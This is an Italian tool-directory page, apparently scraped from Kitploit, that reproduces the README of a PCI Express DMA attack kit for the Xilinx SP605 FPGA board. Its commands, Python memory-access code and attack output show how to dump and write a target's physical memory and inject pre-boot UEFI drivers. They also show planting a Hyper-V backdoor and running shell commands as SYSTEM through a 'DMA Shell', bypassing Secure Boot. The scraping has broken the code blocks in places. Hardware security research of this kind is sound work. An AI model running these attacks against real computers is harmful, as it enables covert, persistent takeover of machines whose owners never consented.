Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
s6_pcie_microblaze — Kit di hacking fai-da-te per PCI Express per Xilinx SP605. Questo repository ospita anche Hyper-V Backdoor e Boot Backdoor, controlla il readme per link e informazioni. | Kitploit
Strumenti/GitHubGitHub/cr4sh/s6_pcie_microblaze
ExploitEsfiltrazione DatiPost-ExploitHacking HardwareCommand and ControlRed TeamingSviluppo Payload
GitHubcr4sh/s6_pcie_microblaze

s6_pcie_microblaze

Kit di hacking fai-da-te per PCI Express per Xilinx SP605. Questo repository ospita anche Hyper-V Backdoor e Boot Backdoor, controlla il readme per link e informazioni.

Vedi Repository
8801675 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Kit di hacking DIY per PCI Express

Informazioni generali
Contenuti
Configurazione della scheda SP605
Configurazione del software
Esempi
Uso dell'API Python
Attacchi DMA pratici
Attacchi Option ROM
Risoluzione dei problemi
Compilazione del progetto dal codice sorgente

Informazioni generali

Questa repository contiene un insieme di strumenti e proof of concept relativi al bus PCI-E e agli attacchi DMA. Include un progetto HDL che implementa un endpoint PCI-E gen 1.1 controllabile via software per Xilinx SP605 Evaluation Kit con FPGA Spartan-6. Rispetto alla popolare USB3380EVB, questo progetto permette di operare con i Transaction Level Packet (TLP) grezzi del bus PCI-E e di eseguire operazioni complete di lettura/scrittura della memoria a 64 bit. Per dimostrare i casi d'uso applicativi del progetto, è disponibile uno strumento per attacchi DMA pre-boot su macchine basate su UEFI che consente di eseguire driver DXE UEFI arbitrari durante l'inizializzazione della piattaforma.

È disponibile un programma che mostra come utilizzare gli attacchi DMA pre-boot per iniettare una backdoor nel VM exit handler di Hyper-V in Windows 10 e 11 con sicurezza basata sulla virtualizzazione abilitata, in esecuzione su piattaforme con UEFI Secure Boot abilitato. La PoC Hyper-V Backdoor fornita può essere utile per scopi di reverse engineering e sviluppo di exploit; fornisce un'interfaccia per l'ispezione dello stato dell'hypervisor (VMCS, memoria fisica/virtuale, registri, ecc.) dalla partizione guest e per eseguire attacchi di fuga dalla VM guest-to-host.

Un altro programma mostra come utilizzare gli attacchi DMA pre-boot per iniettare codice arbitrario in modalità utente o kernel nel sistema operativo Windows dirottando il suo processo di avvio tramite Boot Backdoor. Questo programma può funzionare anche con DMA Shell − è un payload di Boot Backdoor che consente di eseguire comandi da console tramite il dispositivo PCI-E rogue, trasferire file e caricare eseguibili di terze parti nel sistema operativo di destinazione in fase di esecuzione.

💾 La parte Hyper-V Backdoor di questo progetto ha molte altre funzionalità e opzioni di distribuzione rispetto a quelle descritte in questo documento; puoi usarla separatamente dagli strumenti di attacco DMA anche senza hardware speciale: consulta la sua documentazione

💾 La parte Boot Backdoor di questo progetto ha molte altre funzionalità e opzioni di distribuzione rispetto a quelle descritte in questo documento; puoi usarla separatamente dagli strumenti di attacco DMA anche senza hardware speciale: consulta la sua documentazione

💾 Gli strumenti Python di questo progetto e i progetti FPGA per le schede SP605, ZC706 e PicoEVB possono essere utilizzati anche per distribuire SMM Backdoor Next Gen con attacco DMA pre-boot. Consulta la sua documentazione per maggiori dettagli tecnici.

🛠️ Gli strumenti Python e i payload di questo progetto, inclusi Hyper-V Backdoor e Boot Backdoor, possono essere utilizzati anche con schede basate su Xilinx Zynq-7000 SoC. Esiste un progetto separato di design per attacchi DMA per il kit di valutazione Xilinx ZC706.

🛠️ Gli strumenti Python e i payload di questo progetto, inclusi Hyper-V Backdoor e Boot Backdoor, possono essere utilizzati anche con la scheda di sviluppo PicoEVB. Esiste un progetto Pico DMA separato − un impianto hardware completamente autonomo per attacchi DMA pre-boot per slot M.2 in grado di eseguire driver DXE UEFI arbitrari come payload.

Contenuti

  • s6_pcie_microblaze.xise − File di progetto Xilinx ISE.

  • microblaze/pcores/axis_pcie_v1_00_a/ − Modulo periferico personalizzato che consente di collegare il blocco endpoint PCI Express integrato dell'FPGA Spartan-6 come flusso TLP grezzo al core del soft processor MicroBlaze.

  • sdk/srec_bootloader_0/ − Bootloader semplice per il soft processor MicroBlaze; utilizza il formato immagine SREC e la memoria flash lineare integrata della SP605 per caricare e memorizzare il programma principale di MicroBlaze.

  • sdk/main_0/ − Programma principale per il soft processor MicroBlaze; inoltra i pacchetti TLP grezzi del bus PCI-E alla connessione TCP utilizzando la porta Ethernet integrata della SP605 e lo stack di rete lwIP.

  • python/pcie_lib.py − Libreria Python per interagire in rete con il programma principale MicroBlaze in esecuzione sulla scheda SP605; implementa varie astrazioni di basso e alto livello per lavorare con il livello TLP del PCI-E dal codice Python.

  • python/pcie_mem.py − Programma a riga di comando che scarica la RAM dell'host sullo schermo o su un file di output inviando TLP MRd.

  • python/pcie_mem_scan.py − Programma a riga di comando che esegue la scansione dell'host di destinazione alla ricerca di intervalli di memoria fisica accessibili tramite il bus PCI-E; è utile per un audit di sicurezza delle piattaforme con IOMMU abilitato (esempi: , , , ).

Configurazione della scheda SP605

Il documento Xilinx UG526, noto anche come SP605 Hardware User Guide, è il tuo migliore amico se vuoi maggiori dettagli sull'uso e la configurazione di questa scheda.

  1. Per caricare il bitstream dal chip flash SPI integrato, devi configurare la SP605 portando gli interruttori SW1 nella posizione 1-ON, 2-OFF.

  2. Ora devi scrivere il bitstream FPGA nella flash SPI. Usa il file s6_pcie_microblaze.mcs se vuoi farlo tramite JTAG con l'utility Xilinx iMPACT (vedi questo tutorial), oppure s6_pcie_microblaze.bin se vuoi usare un programmatore SPI flash esterno collegato all'header J17 della SP605 (che è il modo più rapido e comodo).

In caso di programmatore SPI flash compatibile con flashrom, puoi usare il programma flash_to_spi.py come wrapper di flashrom:``` $ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.

root@kitploit:~
3) Il file bitstream scritto nella flash SPI nel passaggio precedente include un bootloader personalizzato per il core MicroBlaze (vedi [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) per maggiori dettagli). Questo bootloader consente di configurare le opzioni della scheda e scrivere il programma principale nella flash lineare tramite la porta UART della SP605.

Per avviare MicroBlaze in modalità di aggiornamento è necessario scollegare il programmatore della flash SPI e alimentare la scheda tenendo premuto il pulsante `SW4`; rilasciare `SW4` quando il LED `DS6` che indica la modalità di aggiornamento attiva si accende.

4) Per scrivere il programma principale (vedi [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) per maggiori dettagli) nella flash lineare, è necessario collegare il computer alla porta USB del bridge UART della SP605 ed eseguire il programma `bootloader_ctl.py` con l'opzione `--flash`:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100

...

Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
  1. Per configurare le impostazioni di rete è necessario eseguire il programma bootloader_ctl.py con l'opzione --config:``` $ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings...

Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472

Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE

root@kitploit:~
6) Ora puoi uscire dalla modalità di aggiornamento e avviare il programma principale MicroBlaze dalla flash lineare:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...

SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472

Il programma principale stampa i suoi messaggi di errore sulla UART integrata; puoi usare l'opzione --console di bootloader_ctl.py per monitorare questi messaggi in tempo reale.

  1. Collegare la SP605 allo slot PCI-E del computer di destinazione e accendere il computer. Quando il collegamento PCI-E è stato stabilito correttamente, vedrai accesi i LED DS3 e DS4.

  2. Eseguire il comando lspci sul computer di destinazione per assicurarsi che il sistema operativo veda la scheda come un dispositivo PCI-E appropriato:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

root@kitploit:~
JTAG related notes: la SP605 ha un'interfaccia USB-to-JTAG integrata compatibile con iMPACT e altri strumenti Xilinx. Tuttavia, non è molto buona, quindi se hai intenzione di usare il JTAG integrato per programmare la SPI flash come descritto nel tutorial Xilinx, devi fare quanto segue:

* Rimuovi qualsiasi hardware collegato allo slot FMC della SP605 mentre lavori con il JTAG.

* Nelle impostazioni di Xilinx iMPACT configura l'interfaccia JTAG per usare una velocità di 750 KHz (a velocità più elevate funziona in modo instabile).

La scheda Xilinx SP605 può anche essere collegata alla porta Thunderbolt 2/3 esterna del computer di destinazione utilizzando un [contenitore di espansione Thunderbolt-to-PCI-E](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). Nota che la SP605 è una [scheda relativamente grande](https://www.xilinx.com/support/answers/53808.html), quindi potrebbe non entrare in alcuni contenitori. Ad esempio, io uso l'[enclosure Thunderbolt 2 HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm), che funziona bene con il mio MacBook Pro.


## Configurazione software

Gli strumenti Python per interagire con la scheda e la piccola implementazione del livello di transazione PCI-E si trovano nella cartella `python`. Poiché il programma principale MicroBlaze usa una connessione TCP per trasferire i pacchetti TLP, non sono necessari driver o dipendenze di terze parti: puoi usare il codice Python fornito su qualsiasi sistema operativo.

Per impostare l'indirizzo IP e la porta della scheda di destinazione, modifica la variabile `PCIE_TO_TCP_ADDR` nel file `python/pcie_lib_config.py`.


## Esempi

Informazioni sul dispositivo PCI-E implementato dal bitstream FPGA fornito (proprio come appare al computer di destinazione):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
    Subsystem: Xilinx Corporation Default PCIe endpoint ID
    Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
    Interrupt: pin A routed to IRQ 11
    Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
    Capabilities: [40] Power Management version 3
        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
    Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
        Address: 0000000000000000  Data: 0000
    Capabilities: [58] Express (v1) Endpoint, MSI 00
        DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
            RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
            MaxPayload 128 bytes, MaxReadReq 512 bytes
        DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
        LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
            ClockPM- Surprise- LLActRep- BwNot-
        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
    Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35

Esempio di dispositivo PCI-E come appare nelle informazioni hardware di Apple macOS quando collegato alla porta Thunderbolt 2 di MacBook Pro:

Dal lato dell'attaccante è possibile utilizzare il programma pcie_cfg.py per visualizzare i registri dello spazio di configurazione del dispositivo PCI-E:``` $ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0

root@kitploit:~
       VENDOR_ID = 0x10ee
       DEVICE_ID = 0x1337
         COMMAND = 0x0
          STATUS = 0x10
        REVISION = 0x0
      CLASS_PROG = 0x0
    CLASS_DEVICE = 0x200
 CACHE_LINE_SIZE = 0x10
   LATENCY_TIMER = 0x0
     HEADER_TYPE = 0x0
            BIST = 0x0
  BASE_ADDRESS_0 = 0x90500000
  BASE_ADDRESS_1 = 0x0
  BASE_ADDRESS_2 = 0x0
  BASE_ADDRESS_3 = 0x0
  BASE_ADDRESS_4 = 0x0
  BASE_ADDRESS_5 = 0x0
     CARDBUS_CIS = 0x0

SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0

root@kitploit:~
Output```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0

0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000

      ...

Ecco un esempio di dump di 0x80 byte della memoria fisica del computer target a partire dall'indirizzo zero utilizzando il programma pcie_mem.py:``` $ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000

root@kitploit:~
    0x20000021 0x010000ff 0x00000000 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000020 0x00000084 0x01000000
    0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 
    0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 
    0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 
    0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 
    0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 
    0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 
    0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 
    0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0

TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000001 0x00000004 0x01000000
    0xf3ee00f0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

root@kitploit:~
Esempio di salvataggio della memoria fisica nel file:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin

Il software Python fornito utilizza alcune variabili d'ambiente per sovrascrivere i valori predefiniti di determinate opzioni:

  • DEBUG_TLP − Se impostata a 1, stampa il dump dei pacchetti TLP TX e RX sull'output standard.

  • TARGET_ADDR − Stringa <address>:<port> per sovrascrivere l'indirizzo IP della scheda specificato nel file python/pcie_lib_config.py.

Utilizzo dell'API Python

La libreria Python pcie_lib.py fornisce un'API di basso livello per inviare e ricevere pacchetti TLP PCE-E, insieme ad astrazioni per diversi tipi di TLP e un'API di alto livello per l'accesso alla memoria fisica.

Il programma seguente dimostra come lavorare con TLP grezzi utilizzando pcie_lib.py:```python from pcie_lib import *

Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py

file or TARGET_ADDR environment variable

dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

get bus:device.function address of our PCI-E endpoint

bus_id = dev.get_bus_id()

MRd TLP request which reads 1 dword of memory at address 0x1000

tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address

send TLP

dev.write(tlp_tx)

receive root complex reply

tlp_rx = dev.read(raw = True)

prints 4a000001 00000004 01000000 00000000

print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

check for CplD TLP format and type

assert (tlp_rx[0] >> 24) & 0xff == 0x4a

print readed dword

print('%.8x' % tlp_rx[3])

dev.close()

root@kitploit:~
Lavorare con i TLP utilizzando astrazioni di alto livello più convenienti:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)

# send TLP
dev.write(tlp_tx)

# receive root complex reply
tlp_rx = dev.read()

# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)

# print readed dword
print('%.8x' % tlp_rx.data[0])

Accesso alla memoria fisica con API di alto livello:```python

write bytes to memory

dev.mem_write(0x1000, '\xAA' * 0x10)

write single qword/dword/word/byte to memory

dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)

read bytes from memory

print(repr(dev.mem_read(0x1000, 0x10)))

read single qword/dword/word/byte from memory

print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))

root@kitploit:~
## Attacchi DMA pratici

Uno degli obiettivi principali di questo progetto è fornire un set flessibile e conveniente di strumenti per eseguire i cosiddetti attacchi DMA pre-boot; rispetto ai normali attacchi DMA, questi ultimi prendono di mira l'ambiente pre-boot della fase DXE UEFI dell'inizializzazione della piattaforma piuttosto che il sistema operativo stesso. Tali attacchi consentono di eseguire codice malizioso in fasi relativamente precoci, quando [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) e altre funzionalità di sicurezza del sistema operativo non sono ancora state inizializzate.

<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">

Gli attacchi DMA pre-boot consentono di bypassare varie funzionalità di sicurezza del firmware della piattaforma, come UEFI secure boot o [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).

Il programma Python `uefi_backdoor_simple.py` inietta un driver UEFI DXE fittizio situato nella cartella `payloads/DmaBackdoorSimple` nella sequenza di avvio del sistema di destinazione utilizzando l'attacco DMA pre-boot descritto sopra. Per utilizzare questo programma, è necessario eseguire i seguenti passaggi:

1) Spegnere il computer di destinazione.

2) Collegare la scheda SP605 alla porta PCI-E (o Mini PCI-E, o M.2) del computer di destinazione.

3) Accendere la scheda e assicurarsi che il firmware Microblaze sia stato inizializzato con successo eseguendo il ping di un indirizzo IP specificato durante la configurazione della scheda con il programma `bootloader_ctl.py`.

4) Eseguire il seguente comando per avviare l'attacco DMA pre-boot:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
  1. Accendi il computer di destinazione, in caso di attacco riuscito dopo un paio di secondi vedrai la schermata dei messaggi di debug rossi del driver UEFI DXE iniettato:

Un esempio dell'output della console di uefi_backdoor_simple.py dopo l'attacco riuscito:``` $ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE

root@kitploit:~
This dummy UEFI DXE driver along with `uefi_backdoor_simple.py` program can be used as skeleton project to implement various attacks like injecting of malicious code into the operating system bootloader, kernel or hypervisor.

There's also another Python program &minus; `uefi_backdoor_hv.py`, it injects Hyper-V VM exit handler backdoor located in `payloads/DmaBackdoorHv` folder into the target system boot sequence exactly in the same way as previous dummy UEFI DXE driver. Here's an example of its usage:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded

    Hyper-V image base: 0xfffff8072d690000
           Image entry: 0xfffff8072d901360
       VM exit handler: 0xfffff8072d8add90

[+] DONE

Il driver UEFI DXE di Hyper-V Backdoor stampa anche i suoi messaggi di debug sullo schermo. Inoltre, puoi usare l'opzione --debug-output di uefi_backdoor_hv.py per leggere questi messaggi di debug dalla memoria fisica del sistema target e stamparli su stdout:``` $ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000

DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called

root@kitploit:~
Per ottenere maggiori informazioni sui casi d'uso e sulle funzionalità di Hyper-V Backdoor, [consulta il suo file README](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) con informazioni dettagliate.

I programmi Python `uefi_backdoor_boot.py` e `uefi_backdoor_boot_shell.py` vengono utilizzati per iniettare Boot Backdoor nella sequenza di avvio del sistema target. Boot Backdoor consente di eseguire codice arbitrario in modalità utente o in modalità kernel sotto il sistema operativo Windows, e il suo payload chiamato DMA Shell permette di eseguire comandi dalla console e trasferire file. Per implementare Boot Backdoor con DMA Shell tramite un attacco DMA pre-boot, devi eseguire gli stessi passaggi descritti sopra ma utilizzando il programma `uefi_backdoor_boot_shell.py`:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded

              Image base: 0x0086a000
 OslArchTransferToKernel: 0x009c4b20

[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000

nt authority\system

Ora, quando Boot Backdoor con il suo payload è stato caricato con successo, puoi eseguire uefi_backdoor_boot_shell.py con l'opzione --attach per comunicare con l'istanza attualmente in esecuzione di DMA Shell:``` $ ./uefi_backdoor_boot_shell.py --attach --command "hostname" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000

DESKTOP-E52IJJ8

root@kitploit:~
Inoltre, puoi usare l'opzione `--debug-output` per ottenere i messaggi di debug del driver Boot Backdoor UEFI DXE e stamparli nello stdout:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000

DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) :   Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
